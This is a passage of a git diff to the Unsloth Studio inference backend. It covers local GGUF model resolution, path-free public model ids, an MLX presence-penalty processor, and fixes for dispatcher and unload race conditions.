+    from pathlib import Path
+    try:
+        return Path(value).is_absolute()
+    except Exception:
+        return False
+
+
+def _advertised_loader_id(info) -> Optional[str]:
+    """The id to advertise for a scanned model: prefer a client-facing alias over
+    an absolute filesystem path so /v1/models and the override key never expose a
+    host path (the ./models and LM Studio scanners report the path as info.id)."""
+    raw_id = getattr(info, "id", None)
+    if not raw_id or not _is_abs_path_id(raw_id):
+        return raw_id
+    for alt in (getattr(info, "model_id", None), getattr(info, "display_name", None)):
+        if alt and not _is_abs_path_id(alt):
+            return alt
+    # No clean alias: strip to a path-free public id so a host path is never advertised.
+    return public_model_id(raw_id) or raw_id
+
+
+def _resolve_load_dir(p):
+    """The concrete dir holding the GGUFs. For an HF cache repo (``models--*``
+    with ``snapshots/``) this is the latest snapshot dir, so /load takes the
+    local branch instead of the download-capable repo-id branch."""
+    from pathlib import Path
+
+    try:
+        if (p / "snapshots").is_dir():
+            from routes.models import _resolve_hf_cache_realpath
+            real = _resolve_hf_cache_realpath(p)
+            if real:
+                return Path(real)
+    except Exception:
+        pass
+    return p
+
+
+def _local_gguf_entry(loader_id: str, info) -> Optional[_LocalGgufEntry]:
+    """Build an entry only when GGUF quants are on disk (not Transformers/
+    safetensors), listing only on-disk quants. ``load_path`` is a concrete local
+    path so /load resolves the variant locally and never fetches a remote one."""
+    from pathlib import Path
+    from utils.models.model_config import _is_mmproj, list_local_gguf_variants
+
+    path = getattr(info, "path", None)
+    if not isinstance(path, str):
+        return None
+    p = Path(path)
+    try:
+        if p.is_file():
+            # A standalone .gguf loads by its own path; no quant sub-selection. An
+            # mmproj companion (vision/audio projector) is not a servable model on
+            # its own: _scan_models_dir's standalone-file pass does not filter it
+            # the way the directory scan does, so reject it here or /v1/models would
+            # advertise a projector and a switch could load it instead of the weights,
+            # evicting the loaded model. The directory branch below is already mmproj
+            # free (list_local_gguf_variants drops mmproj quants).
+            if p.suffix.lower() != ".gguf" or _is_mmproj(p.name):
+                return None
+            return _LocalGgufEntry(loader_id, str(p), ())
+        load_dir = _resolve_load_dir(p)
+        variants, _ = list_local_gguf_variants(str(load_dir))
+        quants = tuple(v.quant for v in variants if getattr(v, "quant", None))
+        return _LocalGgufEntry(loader_id, str(load_dir), quants) if quants else None
+    except Exception:
+        return None
+
+
+def info_has_local_gguf(info) -> bool:
+    """True when *info* (a LocalModelInfo) points to on-disk GGUF weights the
+    auto-switch path can load. Read from the files, not ``info.model_format``: the
+    HF-cache scanner leaves model_format unset for GGUF snapshots, so a
+    model_format filter would drop every cached GGUF. Lets /v1/models advertise
+    exactly what /v1 can serve."""
+    from pathlib import Path
+
+    path = getattr(info, "path", None)
+    # Ollama-link entries come from a scanner _build_index intentionally skips (it
+    # creates symlinks on the request path), so their advertised ids never resolve.
+    # Don't report them as servable, or /v1/models would list unswitchable models.
+    if isinstance(path, str) and any(
+        seg in (".studio_links", "ollama_links") for seg in Path(path).parts
+    ):
+        return False
+    return _local_gguf_entry(getattr(info, "id", "") or "", info) is not None
+
+
+def _build_index() -> dict[str, _LocalGgufEntry]:
+    """Map normalized id/model_id/display_name -> local GGUF entry.
+
+    Scans the same roots Studio's model picker lists (./models, the active plus
+    legacy/default HF caches, LM Studio dirs, and user scan folders) so a named
+    local model is never missed and silently served as the loaded one. Ollama's
+    scanner is skipped: it creates symlinks as a side effect and this runs on the
+    request path.
+    """
+    # Lazy import: routes.models imports core.inference, so import at call time.
+    from pathlib import Path
+    from routes.models import (
+        _scan_models_dir,
+        _scan_hf_cache,
+        _scan_lmstudio_dir,
+        _resolve_hf_cache_dir,
+        _is_hidden_model,
+    )
+    from utils.paths import legacy_hf_cache_dir, hf_default_cache_dir, lmstudio_model_dirs
+
+    index: dict[str, _LocalGgufEntry] = {}
+    seen_hf: set[str] = set()
+
+    def _scan_hf_once(directory) -> list:
+        if directory is None:
+            return []
+        try:
+            d = Path(directory)
+            if not d.is_dir():
+                return []
+            rp = str(d.resolve())
+            if rp in seen_hf:
+                return []
+            seen_hf.add(rp)
+            return _scan_hf_cache(directory)
+        except Exception as exc:  # a missing/malformed root must skip, never crash the index
+            logger.debug("auto-switch: skipping HF cache dir %r: %s", directory, exc)
+            return []
+
+    # Each source is guarded on its own so one bad root (a permission error, a
+    # malformed cache) drops only that source, not the whole index.
+    found: list = []
+    try:
+        found += _scan_models_dir(Path("./models").resolve())
+    except Exception as exc:
+        logger.debug("auto-switch: ./models scan failed: %s", exc)
+    try:
+        for hf_dir in (_resolve_hf_cache_dir(), legacy_hf_cache_dir(), hf_default_cache_dir()):
+            found += _scan_hf_once(hf_dir)
+    except Exception as exc:
+        logger.debug("auto-switch: HF cache scan failed: %s", exc)
+    try:
+        for lm_dir in lmstudio_model_dirs():
+            found += _scan_lmstudio_dir(lm_dir)
+    except Exception as exc:
+        logger.debug("auto-switch: LM Studio scan failed: %s", exc)
+    try:
+        from storage.studio_db import list_scan_folders
+        for folder in list_scan_folders():
+            try:
+                fp = Path(folder["path"])
+                found += (
+                    _scan_models_dir(fp, limit = 200) + _scan_hf_once(fp) + _scan_lmstudio_dir(fp)
+                )
+            except Exception as exc:
+                logger.debug("auto-switch: scan folder %r failed: %s", folder, exc)
+    except Exception as exc:
+        logger.debug("auto-switch: scan folders enumerate failed: %s", exc)
+    for info in found:
+        raw_id = getattr(info, "id", None)
+        if not raw_id:
+            continue
+        # Skip what Studio hides from its pickers (validation probe, RAG embed
+        # weights): not chat models, so never an auto-switch target.
+        if _is_hidden_model(raw_id, getattr(info, "path", None)):
+            continue
+        # Advertise a client-facing alias, not an absolute filesystem path.
+        loader_id = _advertised_loader_id(info)
+        entry = _local_gguf_entry(loader_id, info)
+        if entry is None:
+            continue
+        # Index every alias (including the path) so a client can resolve by any of
+        # them, even though only the non-path loader_id is advertised.
+        for key in (raw_id, getattr(info, "model_id", None), getattr(info, "display_name", None)):
+            if key:
+                index.setdefault(key.strip().lower(), entry)
+    return index
+
+
+def _index() -> dict[str, _LocalGgufEntry]:
+    global _scan
+    # Build under the lock so concurrent callers with an expired cache don't all
+    # run the (multi-dir) scan at once; the rest wait and reuse the fresh result.
+    with _lock:
+        now = time.monotonic()
+        ts, cached = _scan
+        if now - ts < _CACHE_TTL_S:
+            return cached
+        fresh = _build_index()
+        # Stamp AFTER the scan, not with the pre-scan ``now``: a multi-root scan on
+        # an install with many local models can itself exceed the TTL, which would
+        # store the cache already expired and make every request rebuild the index.
+        _scan = (time.monotonic(), fresh)
+        return fresh
+
+
+def resolve_local_gguf(requested: str) -> Optional[tuple[str, Optional[str], str]]:
+    """Return ``(load_path, gguf_variant, loader_id)`` for a local match, else None.
+
+    ``load_path`` is the concrete on-disk path to hand /load (so it never fetches
+    a remote), ``loader_id`` is the advertised id used as the launch-override key.
+    ``requested`` is ``repo`` or ``repo:VARIANT``. An exact id match wins first
+    (so ids containing a colon still resolve); else the last ``:VARIANT`` is split
+    off and resolves only when that quant is on disk.
+    """
+    if not isinstance(requested, str) or not requested.strip():
+        return None
+    requested = requested.strip()
+    try:
+        index = _index()
+        entry = index.get(requested.lower())
+        if entry is not None:
+            variant = entry.variants[0] if entry.variants else None
+            return entry.load_path, variant, entry.loader_id
+
+        base, sep, variant = requested.rpartition(":")
+        if not sep:
+            return None
+        entry = index.get(base.strip().lower())
+        if entry is None:
+            return None
+        wanted = variant.strip().lower()
+        for v in entry.variants:
+            if v.lower() == wanted:
+                return entry.load_path, v, entry.loader_id
+        return None
+    except Exception:
+        # Best-effort: any resolver failure falls through to the loaded model,
+        # so a malformed name can never turn a servable request into a 500.
+        return None
diff --git a/studio/backend/core/inference/message_content.py b/studio/backend/core/inference/message_content.py
new file mode 100644
index 0000000000..b7c499a087
--- /dev/null
+++ b/studio/backend/core/inference/message_content.py
@@ -0,0 +1,38 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Normalize chat-message `content` (string or OpenAI multimodal list) to text.
+
+String-only formatting paths called string ops directly on `content` and broke
+on the list form (#4383). `content_to_text` collapses either shape to a string,
+dropping non-text parts. No heavy imports, so it is unit-testable alone.
+"""
+
+from __future__ import annotations
+
+from typing import Any
+
+
+def content_to_text(content: Any) -> str:
+    """Plain text of a `content`: str unchanged, list/tuple text parts newline-joined
+    (non-text dropped), None to "", else str(content)."""
+    if content is None:
+        return ""
+    if isinstance(content, str):
+        return content
+    if isinstance(content, (list, tuple)):
+        parts = []
+        for item in content:
+            if isinstance(item, str):
+                if item:
+                    parts.append(item)
+            elif isinstance(item, dict):
+                # Skip non-text parts (image_url, input_audio, ...).
+                part_type = item.get("type")
+                if part_type is not None and part_type != "text":
+                    continue
+                text = item.get("text")
+                if isinstance(text, str) and text:
+                    parts.append(text)
+        return "\n".join(parts)
+    return str(content)
diff --git a/studio/backend/core/inference/mlx_inference.py b/studio/backend/core/inference/mlx_inference.py
index 5c7799152f..62d268e15f 100644
--- a/studio/backend/core/inference/mlx_inference.py
+++ b/studio/backend/core/inference/mlx_inference.py
@@ -41,6 +41,50 @@ def _build_generation_stats(prompt_n, prompt_tps, gen_n, gen_tps):
     }
 
 
+def _make_mlx_presence_penalty_processor(penalty: float):
+    """Presence penalty as an mlx_lm/mlx_vlm logits processor, matching the safetensors path.
+
+    generate_step calls processors as ``fn(tokens, logits)`` with ``tokens`` the
+    full running sequence; the first call is prompt-only, so latch that length
+    and penalize only after it.
+    """
+    state = {"prompt_len": None}
+
+    def _processor(tokens, logits):
+        if state["prompt_len"] is None:
+            # First call = prompt only; latch its length.
+            state["prompt_len"] = int(tokens.shape[0])
+            return logits
+        generated = tokens[state["prompt_len"] :]
+        if generated.size == 0:
+            return logits
+        import mlx.core as mx
+
+        vocab = logits.shape[-1]
+        # Bound generated ids to the valid range [0, vocab) before they index
+        # logits. MLX does no bounds checking and out-of-bounds indexing is
+        # documented undefined behavior (crash / memory corruption), unlike the
+        # torch path's harmless negative wrap -- so this bound is load-bearing
+        # here and matches the torch filter seen[(seen >= 0) & (seen < vocab)].
+        # MLX has no boolean-mask filtering (data-dependent output shape is
+        # unsupported), so instead of compacting the id list we route every
+        # out-of-range or negative id to a scratch slot at index ``vocab`` that
+        # is dropped before the subtract. That scratch slot can never collide
+        # with a real token, so real ids (including id 0) are penalized exactly
+        # once and stray ids are ignored.
+        valid = (generated >= 0) & (generated < vocab)
+        safe = mx.where(valid, generated, vocab).astype(mx.int32)
+        # Scatter-assign a scalar penalty into a (vocab + 1)-wide mask: duplicate
+        # ids are idempotent, so presence applies once per distinct token; the
+        # scratch column is discarded and the full-width subtract stays on-device.
+        mask = mx.zeros((vocab + 1,), dtype = logits.dtype)
+        mask[safe] = penalty
+        logits = logits - mask[:vocab]
+        return logits
+
+    return _processor
+
+
 class MLXInferenceBackend:
     def __init__(self):
         self.models = {}
@@ -104,6 +148,9 @@ class MLXInferenceBackend:
     ) -> bool:
         import mlx.core as mx
 
+        # Keep the token so the native-template fallback can fetch a
+        # gated model's repo template later during generation.
+        self._hf_token = hf_token
         model_name = config.identifier if hasattr(config, "identifier") else str(config)
         is_vision = getattr(config, "is_vision", False)
 
@@ -168,11 +215,20 @@ class MLXInferenceBackend:
 
         self.active_model_name = model_name
         self.models[model_name] = {
+            # Per-model token for the native-template fallback (matches transformers).
+            "hf_token": hf_token,
+            # Per-model consent for the native-template reload: re-use the exact
+            # trust_remote_code this model was loaded with (matches transformers).
+            "trust_remote_code": trust_remote_code,
             "model": self._model,
             "tokenizer": self._tokenizer,
             "processor": self._processor,
             "is_vision": is_vision,
             "is_lora": getattr(config, "is_lora", False),
+            # For a LoRA adapter the native chat template lives on the base model.
+            "base_model": getattr(config, "base_model", None)
+            if getattr(config, "is_lora", False)
+            else None,
             "is_audio": False,
             "audio_type": None,
             "has_audio_input": False,
@@ -270,6 +326,7 @@ class MLXInferenceBackend:
         enable_thinking = None,
         reasoning_effort = None,
         preserve_thinking = None,
+        presence_penalty = 0.0,
     ) -> Generator[str, None, None]:
         if self._model is None:
             raise RuntimeError("No model loaded")
@@ -317,6 +374,7 @@ class MLXInferenceBackend:
                 enable_thinking = enable_thinking,
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
+                presence_penalty = presence_penalty,
             )
         else:
             yield from self._generate_text(
@@ -332,6 +390,7 @@ class MLXInferenceBackend:
                 enable_thinking = enable_thinking,
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
+                presence_penalty = presence_penalty,
             )
 
     def _generate_text(
@@ -349,12 +408,14 @@ class MLXInferenceBackend:
         enable_thinking = None,
         reasoning_effort = None,
         preserve_thinking = None,
+        presence_penalty = 0.0,
     ):
         from mlx_lm import stream_generate
         from mlx_lm.sample_utils import make_sampler, make_logits_processors
 
         from core.inference.chat_template_helpers import (
             apply_chat_template_for_generation,
+            render_with_native_template_fallback,
         )
 
         prompt = apply_chat_template_for_generation(
@@ -368,6 +429,25 @@ class MLXInferenceBackend:
         if prompt is None:
             raise RuntimeError("apply_chat_template returned None — tokenizer may be incompatible")
 
+        # Same parity fix as the transformers backend: if the template dropped the
+        # requested tools, fall back to the native template so MLX text models keep
+        # advertising them. ``self._tokenizer`` is this entry's model_info tokenizer,
+        # so probe and native render share a renderer. (The VLM path renders via the
+        # processor for image tokens and is intentionally not wired here.)
+        model_info = self.models.get(self.active_model_name, {})
+        prompt = render_with_native_template_fallback(
+            formatted_prompt = prompt,
+            tokenizer = self._tokenizer,
+            model_info = model_info,
+            active_model_name = self.active_model_name,
+            messages = messages,
+            tools = tools,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+            hf_token = model_info.get("hf_token"),
+        )
+
         sampler = make_sampler(
             temp = temperature,
             top_p = top_p,
@@ -375,15 +455,21 @@ class MLXInferenceBackend:
             min_p = float(min_p or 0.0),
             min_tokens_to_keep = 1,
         )
-        # Only build a logits processor for a non-trivial repetition penalty.
-        logits_processors = None
+        # Repetition and/or presence penalty processors (parity with the GGUF/safetensors paths).
+        logits_processors = []
         if repetition_penalty is not None and float(repetition_penalty) not in (
             0.0,
             1.0,
         ):
-            logits_processors = make_logits_processors(
-                repetition_penalty = float(repetition_penalty),
+            logits_processors.extend(
+                make_logits_processors(
+                    repetition_penalty = float(repetition_penalty),
+                )
             )
+        if presence_penalty:
+            logits_processors.append(_make_mlx_presence_penalty_processor(float(presence_penalty)))
+        if not logits_processors:
+            logits_processors = None
 
         token_ids = []
         logger.info(
@@ -449,6 +535,7 @@ class MLXInferenceBackend:
         enable_thinking = None,
         reasoning_effort = None,
         preserve_thinking = None,
+        presence_penalty = 0.0,
     ):
         from mlx_vlm import stream_generate as vlm_stream
 
@@ -496,10 +583,23 @@ class MLXInferenceBackend:
             top_k = int(top_k or 0),
             min_p = float(min_p or 0.0),
         )
-        if repetition_penalty is not None and float(repetition_penalty) not in (
+        _rep_active = repetition_penalty is not None and float(repetition_penalty) not in (
             0.0,
             1.0,
-        ):
+        )
+        if presence_penalty:
+            # Presence needs a custom processor: pass the full list (repetition +
+            # presence) instead of the repetition_penalty shortcut so both apply once.
+            from mlx_lm.sample_utils import make_logits_processors
+
+            _vlm_processors = []
+            if _rep_active:
+                _vlm_processors.extend(
+                    make_logits_processors(repetition_penalty = float(repetition_penalty))
+                )
+            _vlm_processors.append(_make_mlx_presence_penalty_processor(float(presence_penalty)))
+            vlm_kwargs["logits_processors"] = _vlm_processors
+        elif _rep_active:
             vlm_kwargs["repetition_penalty"] = float(repetition_penalty)
 
         with self._generation_lock:
diff --git a/studio/backend/core/inference/model_ids.py b/studio/backend/core/inference/model_ids.py
new file mode 100644
index 0000000000..548cc60f94
--- /dev/null
+++ b/studio/backend/core/inference/model_ids.py
@@ -0,0 +1,71 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Public model identifiers for the OpenAI-compatible API.
+
+The exposed API must report a stable, clean model id rather than the absolute
+on-disk path of a local GGUF. The internal identifier for a direct local load is
+the absolute ``.gguf`` path, which leaks the host filesystem layout and is
+awkward for clients to round-trip. ``public_model_id`` maps such an internal
+identifier to a clean name while leaving Hugging Face repo ids (``org/model``)
+and already-clean names untouched.
+"""
+
+from __future__ import annotations
+
+import os
+from typing import Optional
+
+_GGUF_SUFFIX = ".gguf"
+
+
+def _looks_like_path(identifier: str) -> bool:
+    """True when *identifier* is a local filesystem path, not a HF repo id.
+
+    A repo id is ``org/model`` (a single forward slash, no leading separator, no
+    drive, no ``.gguf``). Anything ending in ``.gguf``, starting with a path
+    separator or a relative/home prefix (``./``, ``../``, ``~``), carrying a
+    Windows drive, or with three or more ``/`` segments is treated as a local
+    path.
+    """
+    if identifier.lower().endswith(_GGUF_SUFFIX):
+        return True
+    if identifier.startswith(("/", "\\", "./", "../", ".\\", "..\\", "~")):
+        return True
+    if len(identifier) >= 2 and identifier[1] == ":":  # Windows drive, e.g. C:\
+        return True
+    if identifier.count("/") >= 2 or "\\" in identifier:
+        return True
+    return False
+
+
+def public_model_id(identifier: Optional[str]) -> Optional[str]:
+    """Return a clean, path-free public id for *identifier*.
+
+    - Local GGUF path -> the file stem with ``.gguf`` stripped, e.g.
+      ``/srv/models/Qwen3-30B-A3B-Q4_K_M.gguf`` -> ``Qwen3-30B-A3B-Q4_K_M``.
+    - HF repo id (``org/model``) and already-clean names -> returned unchanged.
+    - ``None`` / empty -> returned unchanged.
+    """
+    if not identifier:
+        return identifier
+    if not _looks_like_path(identifier):
+        return identifier
+    name = os.path.basename(identifier.replace("\\", "/").rstrip("/"))
+    if name.lower().endswith(_GGUF_SUFFIX):
+        name = name[: -len(_GGUF_SUFFIX)]
+    return name or identifier
+
+
+def model_id_matches(requested: Optional[str], internal: Optional[str]) -> bool:
+    """Whether a client-supplied *requested* id refers to *internal*.
+
+    Accepts the clean public id (preferred) and, for backward compatibility, the
+    raw internal identifier (e.g. a legacy absolute path a client cached from an
+    older ``/v1/models`` response).
+    """
+    if requested is None or internal is None:
+        return False
+    if requested == internal:
+        return True
+    return public_model_id(internal) == requested
diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
index c980dbde2d..19d2230278 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -45,6 +45,10 @@ _DISPATCH_STOP_TIMEOUT = 5.0
 _DISPATCH_IDLE_TIMEOUT = 30.0
 _DISPATCH_DRAIN_TIMEOUT = 5.0
 
+# Max wait for a cancelled generation to release _gen_lock before unload_model
+# tears the subprocess down. Only bounds a wedged worker.
+_UNLOAD_GEN_LOCK_TIMEOUT = 15.0
+
 
 class InferenceOrchestrator:
     """
@@ -60,7 +64,13 @@ class InferenceOrchestrator:
         self._cmd_queue: Any = None
         self._resp_queue: Any = None
         self._cancel_event: Any = None  # mp.Event — set to cancel generation
+        # Set for the whole unload; the worker never clears it (unlike _cancel_event),
+        # so a generate queued behind the cancelled one is skipped, not run.
+        self._drain_event: Any = None
         self._gen_lock = threading.Lock()  # Serializes generation
+        # Set during a switch so a generation winning the _gen_lock handoff bails
+        # instead of starting on the outgoing model.
+        self._unload_pending = False
 
         # Dispatcher state for compare mode (adapter-controlled requests):
         # bypass _gen_lock, send commands directly, read from per-request
@@ -69,6 +79,12 @@ class InferenceOrchestrator:
         self._mailbox_lock = threading.Lock()
         self._dispatcher_thread: Optional[threading.Thread] = None
         self._dispatcher_stop = threading.Event()
+        # Serializes dispatcher start/stop. _generate_dispatched (compare mode) bypasses
+        # _gen_lock, so two concurrent compare requests can both reach _start_dispatcher;
+        # without this lock both could observe no live dispatcher and each spawn one,
+        # orphaning the extra thread (self._dispatcher_thread tracks only the last). The
+        # orphan later steals the "unloaded" reply off resp_queue and hangs unload_model.
+        self._dispatcher_lifecycle_lock = threading.Lock()
 
         # Local state mirrors (updated from subprocess responses)
         self.active_model_name: Optional[str] = None
@@ -159,6 +175,7 @@ class InferenceOrchestrator:
             self._cmd_queue = _CTX.Queue()
             self._resp_queue = _CTX.Queue()
             self._cancel_event = _CTX.Event()
+            self._drain_event = _CTX.Event()
 
             self._proc = _CTX.Process(
                 target = run_without_native_path_secret,
@@ -167,6 +184,7 @@ class InferenceOrchestrator:
                     "cmd_queue": self._cmd_queue,
                     "resp_queue": self._resp_queue,
                     "cancel_event": self._cancel_event,
+                    "drain_event": self._drain_event,
                     "config": config,
                 },
                 daemon = True,
@@ -228,6 +246,7 @@ class InferenceOrchestrator:
         self._cmd_queue = None
         self._resp_queue = None
         self._cancel_event = None
+        self._drain_event = None
         logger.info("Inference subprocess shut down")
 
     def _cleanup(self):
@@ -409,6 +428,7 @@ class InferenceOrchestrator:
         enable_thinking: Optional[bool] = None,
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
+        presence_penalty: float = 0.0,
     ) -> dict:
         """Build the 'generate' command shared by the locked and dispatched paths."""
         cmd = {
@@ -423,6 +443,7 @@ class InferenceOrchestrator:
             "min_p": min_p,
             "max_new_tokens": max_new_tokens,
             "repetition_penalty": repetition_penalty,
+            "presence_penalty": presence_penalty,
         }
         # Only forward template kwargs the caller set, for older worker compat.
         if use_adapter is not None:
@@ -456,7 +477,15 @@ class InferenceOrchestrator:
         cancel ack from that same source so stale events don't leak into the
         next request.
         """
+        # Latch this stream's subprocess/queue: if a wedged worker is torn down and a
+        # later load spawns a fresh one, bail rather than re-block on the new queue
+        # under _gen_lock (deadlock).
+        initial_proc = self._proc
+        initial_resp_queue = self._resp_queue
         while True:
+            if self._proc is not initial_proc or self._resp_queue is not initial_resp_queue:
+                yield f"Error: {self._subprocess_crash_message(crash_context)}"
+                return
             resp = read_one(read_timeout)
             if resp is None:
                 # Check subprocess health
@@ -493,33 +522,56 @@ class InferenceOrchestrator:
     # Dispatcher — per-request mailbox routing for compare mode
     # ------------------------------------------------------------------
 
-    def _start_dispatcher(self) -> None:
+    def _start_dispatcher(self) -> bool:
         """Start the dispatcher thread if not already running.
 
         The dispatcher reads the shared resp_queue and routes responses to
         per-request mailbox queues, letting multiple adapter-controlled
         (compare) requests be in-flight without holding _gen_lock.
-        """
-        if self._dispatcher_thread is not None and self._dispatcher_thread.is_alive():
-            return
 
-        self._dispatcher_stop.clear()
-        self._dispatcher_thread = threading.Thread(
-            target = self._dispatcher_loop,
-            daemon = True,
-            name = "inference-dispatcher",
-        )
-        self._dispatcher_thread.start()
-        logger.debug("Dispatcher thread started")
+        The whole check-then-spawn runs under _dispatcher_lifecycle_lock so
+        concurrent compare requests (which bypass _gen_lock) can't both observe
+        no live dispatcher and each spawn one. Returns True only for the caller
+        that actually started a new thread; False if one was already alive.
+        """
+        with self._dispatcher_lifecycle_lock:
+            # Refuse to start while an unload is in progress. unload_model sets
+            # _unload_pending under this same lock before it stops the idle
+            # dispatcher, so a start queued behind that stop observes the unload
+            # here and bails. Without this a fresh dispatcher would be spawned
+            # after the stop, become the resp_queue reader, and consume the
+            # worker's "unloaded" reply (unroutable, so dropped) before
+            # unload_model's _wait_response sees it -- hanging the unload 300s.
+            if self._unload_pending:
+                return False
+            if self._dispatcher_thread is not None and self._dispatcher_thread.is_alive():
+                return False
+
+            self._dispatcher_stop.clear()
+            self._dispatcher_thread = threading.Thread(
+                target = self._dispatcher_loop,
+                daemon = True,
+                name = "inference-dispatcher",
+            )
+            self._dispatcher_thread.start()
+            logger.debug("Dispatcher thread started")
+            return True
 
     def _stop_dispatcher(self) -> None:
-        """Signal the dispatcher to stop and wait for it."""
-        if self._dispatcher_thread is None:
-            return
-        self._dispatcher_stop.set()
-        self._dispatcher_thread.join(timeout = _DISPATCH_STOP_TIMEOUT)
-        self._dispatcher_thread = None
-        logger.debug("Dispatcher thread stopped")
+        """Signal the dispatcher to stop and wait for it.
+
+        Runs under _dispatcher_lifecycle_lock (paired with _start_dispatcher) so
+        a stop can't interleave with a concurrent start. Callers must NOT hold
+        _mailbox_lock here: this joins the dispatcher, and the dispatcher loop
+        takes _mailbox_lock, so holding it would deadlock the join.
+        """
+        with self._dispatcher_lifecycle_lock:
+            if self._dispatcher_thread is None:
+                return
+            self._dispatcher_stop.set()
+            self._dispatcher_thread.join(timeout = _DISPATCH_STOP_TIMEOUT)
+            self._dispatcher_thread = None
+            logger.debug("Dispatcher thread stopped")
 
     def _dispatcher_loop(self) -> None:
         """Background loop: read resp_queue → route to mailboxes by request_id."""
@@ -534,29 +586,34 @@ class InferenceOrchestrator:
             except (EOFError, OSError, ValueError):
                 break
 
-            rid = resp.get("request_id")
-            rtype = resp.get("type", "")
+            # Sole consumer of the response queue; if it died every in-flight
+            # stream would hang, so never let routing kill the dispatcher.
+            try:
+                rid = resp.get("request_id")
+                rtype = resp.get("type", "")
 
-            # Status messages — log and skip
-            if rtype == "status":
-                logger.info("Subprocess status: %s", resp.get("message", ""))
-                continue
-
-            # Route to mailbox if a matching request_id exists
-            if rid:
-                with self._mailbox_lock:
-                    mbox = self._mailboxes.get(rid)
-                if mbox is not None:
-                    mbox.put(resp)
+                # Status messages: log and skip
+                if rtype == "status":
+                    logger.info("Subprocess status: %s", resp.get("message", ""))
                     continue
 
-            # No matching mailbox (a _gen_lock reader or orphaned). Can't
-            # un-get from mp.Queue, so just log. (status was handled above.)
-            logger.debug(
-                "Dispatcher: no mailbox for request_id=%s type=%s, dropping",
-                rid,
-                rtype,
-            )
+                # Route to mailbox if a matching request_id exists
+                if rid:
+                    with self._mailbox_lock:
+                        mbox = self._mailboxes.get(rid)
+                    if mbox is not None:
+                        mbox.put(resp)
+                        continue
+
+                # No matching mailbox; can't un-get from mp.Queue, so just log.
+                logger.debug(
+                    "Dispatcher: no mailbox for request_id=%s type=%s, dropping",
+                    rid,
+                    rtype,
+                )
+            except Exception:
+                logger.exception("Inference dispatcher: failed to route a response; continuing")
+                continue
 
     def _generate_dispatched(
         self,
@@ -576,6 +633,7 @@ class InferenceOrchestrator:
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
         stats_holder: Optional[dict] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Dispatched generation — sends command without holding _gen_lock.
 
@@ -590,9 +648,26 @@ class InferenceOrchestrator:
         if not self.active_model_name:
             yield "Error: No active model"
             return
+        # Latch the target model so the recheck below can detect a switch that completed
+        # between _start_dispatcher and mailbox registration (mirrors the locked path's
+        # expected_model check).
+        expected_model = self.active_model_name
 
-        # Ensure dispatcher is running
-        self._start_dispatcher()
+        # Switch in flight (unload waiting on _gen_lock). This path bypasses the lock,
+        # so without this early-out a compare request would enqueue a generate on the
+        # outgoing model and delay the switch.
+        if self._unload_pending:
+            yield "Error: model is being unloaded"
+            return
+
+        # Ensure the dispatcher runs. _start_dispatcher serializes concurrent starters under
+        # _dispatcher_lifecycle_lock and returns True only for the caller that actually spawned
+        # the thread, so at most one dispatcher ever exists even when two compare requests race
+        # here. Derive dispatcher_preexisting from that atomic result (not a separate unlocked
+        # is_alive() read): if THIS call started the dispatcher and then bails on a racing
+        # unload, it must stop it again (see the unloading bail below).
+        started = self._start_dispatcher()
+        dispatcher_preexisting = not started
 
         request_id = str(uuid.uuid4())
 
@@ -612,6 +687,7 @@ class InferenceOrchestrator:
             min_p = min_p,
             max_new_tokens = max_new_tokens,
             repetition_penalty = repetition_penalty,
+            presence_penalty = presence_penalty,
             use_adapter = use_adapter,
             tools = tools,
             enable_thinking = enable_thinking,
@@ -619,10 +695,42 @@ class InferenceOrchestrator:
             preserve_thinking = preserve_thinking,
         )
 
-        # Create mailbox BEFORE sending command
+        # Create the mailbox BEFORE sending, rechecking _unload_pending under
+        # _mailbox_lock: an unload sets _unload_pending before _wait_dispatcher_idle
+        # reads _mailboxes under the same lock, so either the idle check sees this
+        # mailbox (and tears the dispatcher down) or we see the unload and bail.
+        # Registering after would orphan the mailbox and hang the compare stream forever.
         mailbox: queue.Queue = queue.Queue()
         with self._mailbox_lock:
-            self._mailboxes[request_id] = mailbox
+            # _unload_pending alone is not enough: an unload that ran fully since
+            # _start_dispatcher clears it in its finally and stops the dispatcher, so it
+            # reads False here though the dispatcher is gone and the model swapped. Also
+            # bail when the active model changed or the dispatcher died: a mailbox with no
+            # dispatcher to route gen_done/gen_error hangs the compare stream.
+            dispatcher_alive = (
+                self._dispatcher_thread is not None and self._dispatcher_thread.is_alive()
+            )
+            unloading = (
+                self._unload_pending
+                or self.active_model_name != expected_model
+                or not dispatcher_alive
+            )
+            if not unloading:
+                self._mailboxes[request_id] = mailbox
+            # When bailing without a mailbox, note whether any OTHER compare request still
+            # routes through the dispatcher; if none and this call started it, stop it below.
+            orphaned_dispatcher = unloading and not dispatcher_preexisting and not self._mailboxes
+        if unloading:
+            # A racing unload can pass its _wait_dispatcher_idle() while the dispatcher was
+            # stopped, then set _unload_pending. The one we just started would otherwise
+            # linger with no mailboxes, race unload_model's _wait_response for the "unloaded"
+            # reply off resp_queue, and drop it as unroutable -- hanging the unload 300s. Stop
+            # it here so the unload stays the sole resp_queue reader. Outside _mailbox_lock:
+            # _stop_dispatcher joins the dispatcher, which itself takes that lock.
+            if orphaned_dispatcher:
+                self._stop_dispatcher()
+            yield "Error: model is being unloaded"
+            return
 
         try:
             self._send_cmd(cmd)
@@ -671,14 +779,18 @@ class InferenceOrchestrator:
                 return
         logger.warning("Timed out draining mailbox after cancel")
 
-    def _wait_dispatcher_idle(self) -> None:
+    def _wait_dispatcher_idle(self) -> bool:
         """Wait for all dispatched requests to complete, then stop dispatcher.
 
-        Called by _generate_inner before the _gen_lock path so the dispatcher
-        thread isn't competing for resp_queue reads.
